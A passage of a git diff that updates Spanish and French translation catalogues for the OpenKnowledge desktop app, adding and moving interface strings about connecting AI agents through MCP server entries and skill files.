step for a Cursor project MCP row — Cursor leaves project servers disabled-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on)."-msgstr "Falta un paso: actívalo en Cursor → Settings → Tools & MCP (Cursor deja apagados los servidores de proyecto hasta que los enciendes)."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.enable-manually"+msgstr "Falta un paso: actívalo en {agent} → Settings → Tools & MCP ({agent} deja apagados los servidores de proyecto hasta que los enciendes)."-#. Next step for a Claude Code project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: run <0>claude</0> in this project and approve OpenKnowledge once."-msgstr "Falta un paso: ejecuta <0>claude</0> en este proyecto y aprueba OpenKnowledge una vez."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.approve-once"+msgstr "Falta un paso: ejecuta {agent} en este proyecto y aprueba OpenKnowledge una vez."#: src/components/ConsentDialogBody.tsxmsgid "One pattern per line — appended to <0>.okignore</0>."@@ -9164,10 +9264,6 @@ msgstr "Abre primero un proyecto."msgid "Open a project to edit."msgstr "Abre un proyecto para editarlo."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Open a project to manage its AI tool connections."-msgstr "Abre un proyecto para gestionar sus conexiones con herramientas de IA."-#: src/components/NavigatorApp.tsxmsgid "Open a single markdown file — no project setup."msgstr "Abre un único archivo markdown, sin configurar ningún proyecto."@@ -9506,6 +9602,10 @@ msgstr "OpenKnowledge buscó conflictos"msgid "OpenKnowledge checked the project"msgstr "OpenKnowledge revisó el proyecto"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge could not find this agent on this machine."+msgstr "OpenKnowledge no encontró este agente en este equipo."+#: src/components/TerminalPanel.tsxmsgid "OpenKnowledge couldn't read terminal.shell in .ok/local/config.yml. Using an available Windows shell instead."msgstr "OpenKnowledge no pudo leer terminal.shell en .ok/local/config.yml. Se usará un shell de Windows disponible."@@ -9534,6 +9634,18 @@ msgstr "OpenKnowledge eliminó {subject}"msgid "OpenKnowledge deleted a document"msgstr "OpenKnowledge eliminó un documento"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge discovery skill"+msgstr "Habilidad de descubrimiento de OpenKnowledge"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format."+msgstr "OpenKnowledge no reconoce esta entrada y no puede sustituirla de forma segura en el formato de este archivo."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry. Turning it on replaces it."+msgstr "OpenKnowledge no reconoce esta entrada. Al activarla, se sustituirá."+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge edited {subject}"msgstr "OpenKnowledge editó {subject}"@@ -9578,6 +9690,10 @@ msgstr "OpenKnowledge está usando una cuenta de GitHub proporcionada por la CLImsgid "OpenKnowledge is using this GitHub account."msgstr "OpenKnowledge está usando esta cuenta de GitHub."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again."+msgstr "OpenKnowledge no modificó este archivo porque no pudo analizarlo de forma segura. Corrige el archivo a mano y vuelve a intentarlo."+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge listed the installed skills"msgstr "OpenKnowledge listó las habilidades instaladas"@@ -10289,10 +10405,6 @@ msgstr "proyecto"msgid "Project"msgstr "Proyecto"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Project AI tool management is only available in the OpenKnowledge desktop app."-msgstr "La gestión de herramientas de IA del proyecto solo está disponible en la aplicación de escritorio de OpenKnowledge."-#: src/components/CreateProjectDialog.tsxmsgid "Project details"msgstr "Detalles del proyecto"@@ -10301,6 +10413,10 @@ msgstr "Detalles del proyecto"msgid "Project folder created, but git init failed. Try again."msgstr "Se creó la carpeta del proyecto, pero falló git init. Inténtalo de nuevo."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project MCP server"+msgstr "Servidor MCP del proyecto"+#: src/components/CreateProjectDialog.tsxmsgid "Project name"msgstr "Nombre del proyecto"@@ -10314,6 +10430,10 @@ msgstr "Los complementos de proyecto son el estándar de autoría de tu proyectomsgid "Project root"msgstr "Raíz del proyecto"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project skill"+msgstr "Habilidad del proyecto"+#: src/components/settings/ProjectTemplatesSection.tsxmsgid "Project templates"msgstr "Plantillas del proyecto"@@ -10468,6 +10588,21 @@ msgstr "Enviado {pushed}"msgid "Pushing"msgstr "Haciendo push"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.user"+msgstr "Coloca la habilidad de descubrimiento de OpenKnowledge en la carpeta de habilidades global de {agent}, para que pueda encontrar OpenKnowledge en cualquier proyecto."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.project"+msgstr "Coloca la habilidad de OpenKnowledge en la carpeta de habilidades de {agent} para este proyecto, para que sus ediciones sigan atribuidas."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.central-store"+msgstr "Coloca la habilidad de OpenKnowledge en el almacén central de habilidades que lee {agent}."+#: src/components/acp/working-status.tsmsgid "Puzzling…"msgstr "Descifrando…"@@ -10586,6 +10721,10 @@ msgstr "Proyecto reciente"msgid "Recently opened"msgstr "Abiertos recientemente"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Recommended"+msgstr "Recomendado"+#: src/components/settings/LintingSection.tsxmsgid "Recommended agent skill"msgstr "Habilidad de agente recomendada"@@ -10721,6 +10860,8 @@ msgstr "Control remoto"msgid "Remote skill source"msgstr "Origen remoto de habilidades"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/editor/extensions/InternalLinkPropPanel.tsx#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Remove"@@ -10761,6 +10902,10 @@ msgstr "Quitar {patternText}"msgid "Remove {projectName} from recent projects"msgstr "Quitar {projectName} de los proyectos recientes"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Remove {rowLabel}"+msgstr "Quitar {rowLabel}"+#: src/components/ui/tag-pill-input.tsxmsgid "Remove {tag}"msgstr "Quitar {tag}"@@ -10773,6 +10918,10 @@ msgstr "Falló al quitarlo: {error}"msgid "Remove field {field}"msgstr "Quitar el campo {field}"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove for both"+msgstr "Quitar para ambos"+#: src/components/NavigatorApp.tsx#: src/components/recent-remove-controls.tsxmsgid "Remove from recent projects"@@ -10792,6 +10941,15 @@ msgstr "Quitar el enlace"msgid "Remove OpenKnowledge from {0}"msgstr "Quitar OpenKnowledge de {0}"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge from {0}?"+msgstr "¿Quitar OpenKnowledge de {0}?"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge?"+msgstr "¿Quitar OpenKnowledge?"+#: src/components/TemplateForm.tsxmsgid "Remove property"msgstr "Quitar la propiedad"@@ -10935,7 +11093,7 @@ msgid "Reopening \"{docName}\" with a fresh local collaboration cache."msgstr "Reabriendo \"{docName}\" con una caché local de colaboración nueva."#: src/lib/install-onboarding-toast.ts-msgid "repaired {names} MCP integration"+msgid "repaired MCP integration for {names}"msgstr "se reparó la integración MCP de {names}"#: src/editor/find-replace/FindReplaceBar.tsx@@ -10951,6 +11109,10 @@ msgstr "Reemplazar {keyName}"msgid "Replace all matches"msgstr "Reemplazar todas las coincidencias"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replace and save"+msgstr "Reemplazar y guardar"+#: src/editor/find-replace/FindReplaceBar.tsxmsgid "Replace current match"msgstr "Reemplazar la coincidencia actual"@@ -10983,6 +11145,10 @@ msgstr "¿Reemplazar estas copias por enlaces simbólicos al origen?"msgid "Replace these symlinks with independent copies?"msgstr "¿Reemplazar estos enlaces simbólicos por copias independientes?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replaces the existing \"open-knowledge\" entry in this file. Other servers in the file are left alone."+msgstr "Sustituye la entrada \"open-knowledge\" existente en este archivo. Los demás servidores del archivo no se modifican."+#. placeholder {0}: formatToolList( replacing.map((e) => e.label), i18n.locale, )#: src/components/McpConsentDialogBody.tsxmsgid "Replaces the existing OpenKnowledge entry in {0}"@@ -11239,7 +11405,7 @@ msgstr "Recuperando…"#: src/components/ConnectingBanner.tsx#: src/components/handoff/useHandoffDispatch.ts#: src/components/PublishToGitHubDialog.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TrashFailureModal.tsxmsgid "Retry"msgstr "Reintentar"@@ -11379,6 +11545,7 @@ msgstr "Incrustación de HTML aislada: escribe HTML y ve la vista previa renderimsgid "Save"msgstr "Guardar"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/editor/components/CodePreviewEditModal.tsxmsgid "Save changes"msgstr "Guardar los cambios"@@ -11429,6 +11596,7 @@ msgstr "Guardado con el proyecto para tu equipo."msgid "Saves the file to <0>~/Downloads/openknowledge.skill</0> and opens the Claude Desktop App. Requires Node.js or Bun on your PATH."msgstr "Guarda el archivo en <0>~/Downloads/openknowledge.skill</0> y abre la aplicación Claude Desktop. Requiere Node.js o Bun en tu PATH."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SearchSection.tsxmsgid "Saving"msgstr "Guardando"@@ -11482,7 +11650,7 @@ msgstr "Buscar \"{semanticSubmitQuery}\" por significado"msgid "Search ({searchShortcutLabel})"msgstr "Buscar ({searchShortcutLabel})"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Search agents"msgstr "Buscar agentes"@@ -12066,8 +12234,7 @@ msgstr "Mostrar {0} más"msgid "Show {hidden} more"msgstr "Mostrar {hidden} más"-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show {hiddenCount} more"msgstr "Mostrar {hiddenCount} más"@@ -12133,8 +12300,7 @@ msgid "Show in Explorer"msgstr "Mostrar en el Explorador"#: src/components/PackCardGrid.tsx-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show less"msgstr "Mostrar menos"@@ -12341,11 +12507,6 @@ msgstr "Habilidades de {0}/{1}."msgid "Skills from OpenKnowledge"msgstr "Habilidades de OpenKnowledge"-#. Points at the settings page that now owns skill install, in Settings → AI tools & CLI-#: src/components/settings/AiToolsSection.tsx-msgid "Skills moved to Skills Studio."-msgstr "Las habilidades se movieron a Estudio de habilidades."-#: src/components/settings/SkillFolderLinkConfirmDialog.tsxmsgid "Skills reassigned"msgstr "Habilidades reasignadas"@@ -12501,6 +12662,7 @@ msgstr "Algo salió mal al enviar tus comentarios. Inténtalo de nuevo."msgid "Something went wrong starting the terminal."msgstr "Algo salió mal al iniciar la terminal."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/SubscribeForm.tsxmsgid "Something went wrong. Please try again."msgstr "Algo salió mal. Inténtalo de nuevo."@@ -13074,7 +13236,6 @@ msgstr "Plantillas"msgid "Templates available"msgstr "Plantillas disponibles"-#. Group label above the shell-PATH row in Settings → AI tools & CLI#. Section label above the shell-PATH toggle in the first-launch dialog#: src/components/CommandPalette.tsx#: src/components/empty-state/CreatePromptComposer.tsx@@ -13083,8 +13244,7 @@ msgstr "Plantillas disponibles"#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/settings/TerminalSection.tsx#: src/components/TerminalNewChatButton.tsx@@ -13212,6 +13372,11 @@ msgstr "Se agotó el tiempo de la solicitud de descarga de {0}."msgid "The {0} plugin serves these skills from its cache — OK never edits or updates them."msgstr "El complemento {0} sirve estas habilidades desde su caché — OK nunca las edita ni las actualiza."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.codex.desktop-project-config"+msgstr "La aplicación de escritorio de {agent} ignora esta configuración de proyecto; solo la CLI de {agent} la lee."+#: src/components/SkillForkDialog.tsxmsgid "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."msgstr "La carpeta de {editor} tiene otra versión de esta habilidad. Elige cuál gana o conserva ambas con nombres distintos. De lo que reemplaces se hace copia de seguridad primero."@@ -13452,6 +13617,14 @@ msgstr "La carpeta de origen en sí no se mueve."msgid "The template's filename (without `.md`)."msgstr "El nombre de archivo de la plantilla (sin `.md`)."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so connecting either connects both."+msgstr "Las filas de terminal y de escritorio de {label} comparten una misma configuración, así que conectar una conecta ambas."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so removing it disconnects both."+msgstr "Las filas de terminal y de escritorio de {label} comparten una misma configuración, así que quitarla desconecta ambas."+#: src/components/TerminalGate.tsxmsgid "The terminal is turned off for this project. Turn it back on to run commands here."msgstr "La terminal está desactivada en este proyecto. Vuelve a activarla para ejecutar comandos aquí."@@ -13608,6 +13781,14 @@ msgstr "Este agente no ofrece comandos de barra"msgid "This agent doesn't offer slash commands — your message will be sent as plain text"msgstr "Este agente no ofrece comandos de barra — tu mensaje se enviará como texto sin formato"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps."+msgstr "Este agente no ofrece a OpenKnowledge ninguna forma de configurarlo por ti. Su guía de configuración incluye los pasos manuales."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent has no file of this kind on this machine yet. Open the agent once, then check again."+msgstr "Este agente aún no tiene un archivo de este tipo en este equipo. Ábrelo una vez y vuelve a comprobarlo."+#: src/editor/composer-mention/ComposerSlashMenu.tsxmsgid "This agent hasn't announced its commands yet"msgstr "Este agente aún no ha anunciado sus comandos"@@ -13651,6 +13832,14 @@ msgstr "Este comentario es sobre toda la propiedad"msgid "This conflict is resolved."msgstr "Este conflicto está resuelto."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This could not be set up because the MCP server entry it needs was not written."+msgstr "No se pudo configurar porque la entrada del servidor MCP que necesita no se escribió."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This deletes the MCP server entries and skill files listed below. The agent will lose access to your documents until you add it again."+msgstr "Esto elimina las entradas del servidor MCP y los archivos de habilidades que se indican abajo. El agente perderá el acceso a tus documentos hasta que vuelvas a añadirlo."+#: src/components/PanelScopeHeader.tsxmsgid "This doc"msgstr "Este documento"@@ -13683,6 +13872,10 @@ msgstr "Este documento se eliminó"msgid "This endpoint ignored the vector size you configured. Remove <0>search.semantic.dimensions</0> to use the model's own size."msgstr "Este endpoint ignoró el tamaño de vector que configuraste. Quita <0>search.semantic.dimensions</0> para usar el tamaño propio del modelo."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This entry changed after OpenKnowledge wrote it. Turning it on replaces it."+msgstr "Esta entrada cambió después de que OpenKnowledge la escribiera. Activarla la reemplaza."+#: src/components/settings/frontmatter-schema-field-editor.tsxmsgid "This field carries additional schema keywords the editor does not show — they are preserved on save."msgstr "Este campo lleva palabras clave de esquema adicionales que el editor no muestra; se conservan al guardar."@@ -13735,6 +13928,10 @@ msgstr "Esta carpeta es un clon de {actualOwner}/{actualRepo}, no de {expectedOwmsgid "This folder is a clone of {expectedOwner}/{expectedRepo} on {actualHost}, not {expectedHost}. Pick a folder cloned from {expectedHost}?"msgstr "Esta carpeta es un clon de {expectedOwner}/{expectedRepo} en {actualHost}, no en {expectedHost}. ¿Eliges una carpeta clonada desde {expectedHost}?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This folder is also {alsoAffects}'s."+msgstr "Esta carpeta también es de {alsoAffects}."+#: src/components/FolderOverview.tsxmsgid "This folder is empty."msgstr "Esta carpeta está vacía."@@ -13793,6 +13990,7 @@ msgstr "este elemento"msgid "This looks like a drive root (e.g., C:\\). Scaffolding here will scan an entire drive."msgstr "Esto parece la raíz de una unidad (p. ej. C:\\). Preparar el proyecto aquí analizará una unidad entera."+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/ScopeBadge.tsx#: src/components/SkillScopeSegment.tsxmsgid "This machine"@@ -13818,6 +14016,10 @@ msgstr "Esta regla necesita ver tus archivos, no solo el documento abierto, pormsgid "This one teaches your AI tools how to work with OpenKnowledge. It lives in the project folder, so it installs for everyone who opens the project."msgstr "Esta enseña a tus herramientas de IA a trabajar con OpenKnowledge. Vive en la carpeta del proyecto, así que se instala para todos los que abran el proyecto."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This option cannot be changed automatically."+msgstr "Esta opción no se puede cambiar automáticamente."+#: src/components/SeedDialog.tsxmsgid "This pack is already set up here."msgstr "Este paquete ya está configurado aquí."@@ -13873,6 +14075,7 @@ msgid "This permanently removes {path}. Agents that reference this template by nmsgstr "Esto elimina definitivamente {path}. Los agentes que hagan referencia a esta plantilla por su nombre fallarán hasta que se vuelva a crear o la sustituya una de una carpeta superior."#: src/components/PanelScopeHeader.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/SkillScopeSegment.tsxmsgid "This project"@@ -13921,11 +14124,6 @@ msgstr "El servidor en marcha de este proyecto no admite edición en vivo. Reinimsgid "This project's server (v{0}) is newer than this app (v{1})."msgstr "El servidor de este proyecto (v{0}) es más nuevo que esta aplicación (v{1})."-#. Points at the settings page that now owns the project skill, in Settings → This project → AI tools-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "This project's skill moved to Skills Studio."-msgstr "La habilidad de este proyecto se movió a Estudio de habilidades."-#: src/uninstall/UninstallPickerScreen.tsxmsgid "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."msgstr "Esto quita de tu Mac los ajustes y las integraciones de OpenKnowledge, y también de los proyectos que selecciones abajo, pero conserva tu contenido markdown y las habilidades que hayas creado."@@ -13963,6 +14161,18 @@ msgstr "Este ajuste es de cada equipo y no se comparte con tus colaboradores."msgid "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."msgstr "Este ajuste es de cada equipo y no se comparte con tus colaboradores. Necesita una clave de API (defínela abajo) salvo que tu endpoint sea un servidor local que no la requiera."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers} through <0>{path}</0>. Removing it here removes it for {peers} too."+msgstr "Esta configuración se comparte con {peers} a través de <0>{path}</0>. Si la quitas aquí, también se quitará para {peers}."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}, and OpenKnowledge cannot change it from here. Unlink the folder in Skills Studio first."+msgstr "Esta configuración se comparte con {peers}, y OpenKnowledge no puede cambiarla desde aquí. Desvincula primero la carpeta en Skills Studio."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}. Removing it here removes it for {peers} too."+msgstr "Esta configuración se comparte con {peers}. Si la quitas aquí, también se quitará para {peers}."+#: src/components/ImportSkillForm.tsxmsgid "This source bundles several skills — choose one, then Import."msgstr "Este origen incluye varias habilidades: elige una y luego pulsa Importar."@@ -14283,7 +14493,6 @@ msgid "Type to find a doc"msgstr "Escribe para encontrar un documento"#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsxmsgid "unavailable on this platform"msgstr "no disponible en esta plataforma"@@ -14917,8 +15126,7 @@ msgstr "¿Qué debería hacer la IA? (opcional)"msgid "What the agent may read, write, and surface."msgstr "Lo que el agente puede leer, escribir y mostrar."-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "What this checkbox changes"msgstr "Qué cambia esta casilla"@@ -14994,6 +15202,10 @@ msgstr "Quién eres, para que el agente tenga tu contexto."msgid "Whole word"msgstr "Palabra completa"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Why this needs attention"+msgstr "Por qué esto requiere atención"+#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Wiki link"msgstr "Enlace wiki"@@ -15031,6 +15243,10 @@ msgstr "Ventana"msgid "Without a connected AI tool, the pack's {packSkillCount, plural, one {# skill} other {# skills}} won't be installed."msgstr "Sin una herramienta de IA conectada, no se instalarán {packSkillCount, plural, one {# habilidad} many {# habilidades} other {# habilidades}} del paquete."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Without the skill the agent still works, but it loses edit attribution and the live preview."+msgstr "Sin la habilidad el agente sigue funcionando, pero pierde la atribución de las ediciones y la vista previa en vivo."+#: src/components/settings/settings-fields.tsmsgid "Word wrap"msgstr "Ajuste de línea"@@ -15078,6 +15294,11 @@ msgstr "Worktrees"msgid "Wrap long lines in the markdown source editor."msgstr "Ajusta las líneas largas en el editor de código markdown."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.managed-file"+msgstr "Escribe un pequeño archivo puente que {agent} carga desde este proyecto para llegar a OpenKnowledge."+#: src/components/McpConsentDialogBody.tsxmsgid "Writes an entry to"msgstr "Escribe una entrada en"@@ -15086,6 +15307,10 @@ msgstr "Escribe una entrada en"msgid "writing"msgstr "escritura"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Writing this file failed. Check the OpenKnowledge log for the reason."+msgstr "No se pudo escribir este archivo. Consulta el registro de OpenKnowledge para conocer el motivo."+#: src/components/acp/ThreadView.tsxmsgid "Wrote the Open Knowledge extension, but couldn't mark the folder trusted, so it won't load. This thread has no Open Knowledge tools."msgstr "Se escribió la extensión de Open Knowledge, pero no se pudo marcar la carpeta como de confianza, así que no se cargará. Este hilo no tiene herramientas de Open Knowledge."@@ -15233,6 +15458,10 @@ msgstr "Tu copia de la rama <0>{shareBranch}</0> tiene cambios que no están enmsgid "Your current version is saved first, so this is reversible."msgstr "Tu versión actual se guarda primero, así que esto es reversible."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Your documents are not touched."+msgstr "Tus documentos no se modificarán."+#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsxmsgid "Your edits are committed and pushed to your remote automatically."diff --git a/packages/app/src/locales/fr/messages.json b/packages/app/src/locales/fr/messages.jsonindex 6e6c4fe5a..304decc37 100644--- a/packages/app/src/locales/fr/messages.json+++ b/packages/app/src/locales/fr/messages.json@@ -75,7 +75,6 @@],"04JR6L": ["Connectez vos outils d'IA"],"04RA0-": ["Échec de l'activation de la synchronisation — ", ["detail"]],- "04XyCH": ["Ajoute un bloc géré à ", ["0"]],"05F1GY": ["Le texte d'origine a été supprimé. Vous pouvez replacer ce commentaire sur le texte sélectionné."],@@ -180,6 +179,9 @@"1DahsC": ["Rechercher dans les paramètres"],"1EcCom": ["Valeur de ", ["keyName"]],"1FLarN": ["Décrivez ce que vous voulez créer pour continuer"],+ "1FXL-O": [+ "La configuration a échoué, car l'entrée de serveur MCP nécessaire n'a pas été écrite."+ ],"1GhYxC": ["sur ", ["totalPages"]],"1HBhDS": ["Extraction des fichiers"],"1J0c0X": [@@ -271,11 +273,17 @@"2YOwme": ["Redémarré — exécute maintenant la v", ["appRuntime"], "."],"2YZwPB": ["La réponse des liens sortants ne correspond pas à la forme attendue."],"2Yt22K": ["Masquer l’original"],+ "2gXnCO": ["Serveur MCP global"],"2hYmUH": ["[email protected]"],"2hpdRq": ["Masquer le panneau (", ["panelShortcutLabel"], ")"],"2j1kfc": ["Saisissez une URL valide (par exemple https://api.openai.com/v1)."],"2jUGEP": ["Compter publiquement les installations de compétences"],"2l293S": ["Vous pouvez restaurer ce fichier depuis la Corbeille."],+ "2lJAvH": [+ "Les lignes terminal et bureau de ",+ ["label"],+ " partagent une même configuration, donc la supprimer les déconnecte toutes les deux."+ ],"2m_bmh": [["label"], " (", ["0"], ")"],"2myNzt": ["Nous l'avons transmis à l'équipe avec vos journaux."],"2n3oDU": [@@ -380,6 +388,9 @@],"3m2GBo": ["Recherche dans les documents"],"3mFsc3": ["Restaurer avec les modifications distantes"],+ "3n7lnE": [+ "Cet agent n'a pas encore de fichier de ce type sur cette machine. Ouvrez-le une fois, puis vérifiez à nouveau."+ ],"3nICSW": ["Ajoute une entrée MCP OpenKnowledge et la compétence du projet à <0>",["toolList"],@@ -422,6 +433,13 @@],"4A3Yzu": ["Bloc de code"],"4BITzH": ["Erreur :"],+ "4C2RCg": [+ "Cette configuration est partagée avec ",+ ["peers"],+ ". La retirer ici la retire aussi pour ",+ ["peers"],+ "."+ ],"4CfgPM": ["Dossier de projet créé, mais git init a échoué. Réessayez."],"4E9jPa": ["Créez votre premier projet"],"4EZrJN": ["Règles"],@@ -468,6 +486,7 @@["0"]," » retiré de tous les autres emplacements — son dossier source se charge toujours"],+ "4sE6E9": ["Impossible de vérifier quels outils sont connectés."],"4sKwf6": ["Le fichier existe déjà"],"4sUdTJ": ["aperçu thématisé"],"4uNLmk": ["Tirage en cours"],@@ -498,6 +517,12 @@"5BlXTD": ["Impossible de charger l'aperçu de la version. Vous pouvez tout de même choisir ci-dessous comment résoudre le conflit."],+ "5CHuXn": [+ ["0"],+ " a besoin de ",+ ["1"],+ ". Désactivez les deux, ou laissez les deux activés."+ ],"5ClEAu": ["Hashtag en ligne pour regrouper des documents entre eux."],"5D3Ior": ["Masquer le dossier"],"5F5HYj": [["ahead"], " en avance, ", ["behind"], " en retard"],@@ -518,6 +543,9 @@"5OqaJi": ["Saisissez un nom de projet"],"5PHgV2": ["Vous pouvez aussi en créer un depuis un terminal avec <0>ok bug-report</0>."],"5QGTaA": ["Impossible de copier le chemin relatif"],+ "5RiC8D": [+ "Les compétences de découverte sont gérées ensemble pour tous les outils d’IA. Installez celle-ci depuis Paramètres → Studio de compétences."+ ],"5SwVv1": ["Non installé"],"5Szq6N": ["Ce point de terminaison a ignoré la taille de vecteur que vous avez configurée. Supprimez <0>search.semantic.dimensions</0> pour utiliser la taille propre au modèle."@@ -718,6 +746,12 @@"7IsvrP": ["Recherche de mises à jour"],"7JtSLi": ["Échec de la suppression du chemin"],"7MSbAT": ["Disponible dans"],+ "7Ny8bV": [+ ["dependent"],+ " a besoin de ",+ ["prerequisite"],+ ", et OpenKnowledge n'a pas trouvé cet agent sur cette machine."+ ],"7O7REc": ["Impossible de restaurer ", ["0"], ". Réessayez."],"7OhaRy": ["Recherche dans la source"],"7Ongq0": ["Condense mon fichier AGENTS.md à moins de 40 000 caractères"],@@ -853,6 +887,9 @@"8uGMP8": ["Le contenu masqué se place ici."],"8vCZcs": ["Échec de l'ouverture du fichier."],"8vETh9": ["Afficher"],+ "8wwkVu": [+ "Cette entrée a changé après son écriture par OpenKnowledge. L'activer la remplace."+ ],"8x6zk9": ["Masquer l’éditeur de ", ["0"]],"9-lMCF": ["Couleur ", ["slot"], " — ", ["0"]],"90-wKT": ["OpenKnowledge a lu l'historique de ", ["subject"]],@@ -1007,7 +1044,6 @@"AYoYhU": ["Échec de la mise à jour : ", ["0"]],"AaC-CE": ["Tableau vide"],"AcK_r0": ["CLI Claude"],- "AczYxH": ["Entrée open-knowledge personnalisée — non gérée par OpenKnowledge"],"AdcGcG": ["Application de votre modification"],"AddR83": ["Impossible de créer le projet. Réessayez ou choisissez un autre emplacement."],"AeHuzT": ["# Un motif par ligne.\n# Exemples :\n# drafts/\n# *.draft.md\n# !keep.md"],@@ -1036,6 +1072,7 @@],"Al8HPP": ["Accepter la version actuelle pour le conflit ", ["0"]],"Am78jY": ["Faites glisser ", ["keyName"], " pour réorganiser"],+ "ApNWRQ": ["Supprimer OpenKnowledge de ", ["0"], " ?"],"ApeA0n": [["dropCount"], " modifications annulées sur ", ["docName"]],"Aq-O0x": ["statut"],"AqnqMJ": ["Clé API définie"],@@ -1085,6 +1122,9 @@"BGtzlf": [["uploadFolderName"], " — 1 fichier"],"BH56dn": ["Texte d'affichage personnalisé"],"BKI4hX": ["Rechercher dans le fichier"],+ "BMoSQy": [+ "Cet agent ne permet pas à OpenKnowledge de le configurer à votre place. Son guide de configuration indique les étapes manuelles."+ ],"BOsvJ8": ["<0>ok</0> ne fonctionnera pas dans les terminaux externes tant que vous ne l’aurez pas ajouté depuis le menu Fichier. Vos outils d’IA continueront de fonctionner."],@@ -1174,11 +1214,7 @@"CU3AiE": ["Changement de branche"],"CUmCwI": ["Insérer une ligne en dessous"],"CWjM1r": ["documents directement dans ", ["0"], "/"],- "CWzc2T": [- "<0>~/.ok/bin</0> et <1>~/.ok/env.sh</1> restent dans les deux cas — l'application les maintient toujours."- ],"CXDYfm": ["Impossible de lire si la compétence de ce projet est installée."],- "CXTwen": ["Impossible de modifier en toute sécurité la configuration de ce projet"],"CXcveY": ["Open Knowledge conserve un fichier de navigation nommé index.md dans chaque dossier contenant Markdown, chacun répertoriant les documents de ce dossier par type et établissant un lien vers ses sous-dossiers. Il réécrit ces fichiers à mesure que vos documents changent, et tout ce que vous y modifiez vous-même est remplacé."],@@ -1216,9 +1252,9 @@"Dans les projets Git, Open Knowledge ajoute une règle ciblée au fichier .gitattributes à la racine du dépôt afin de 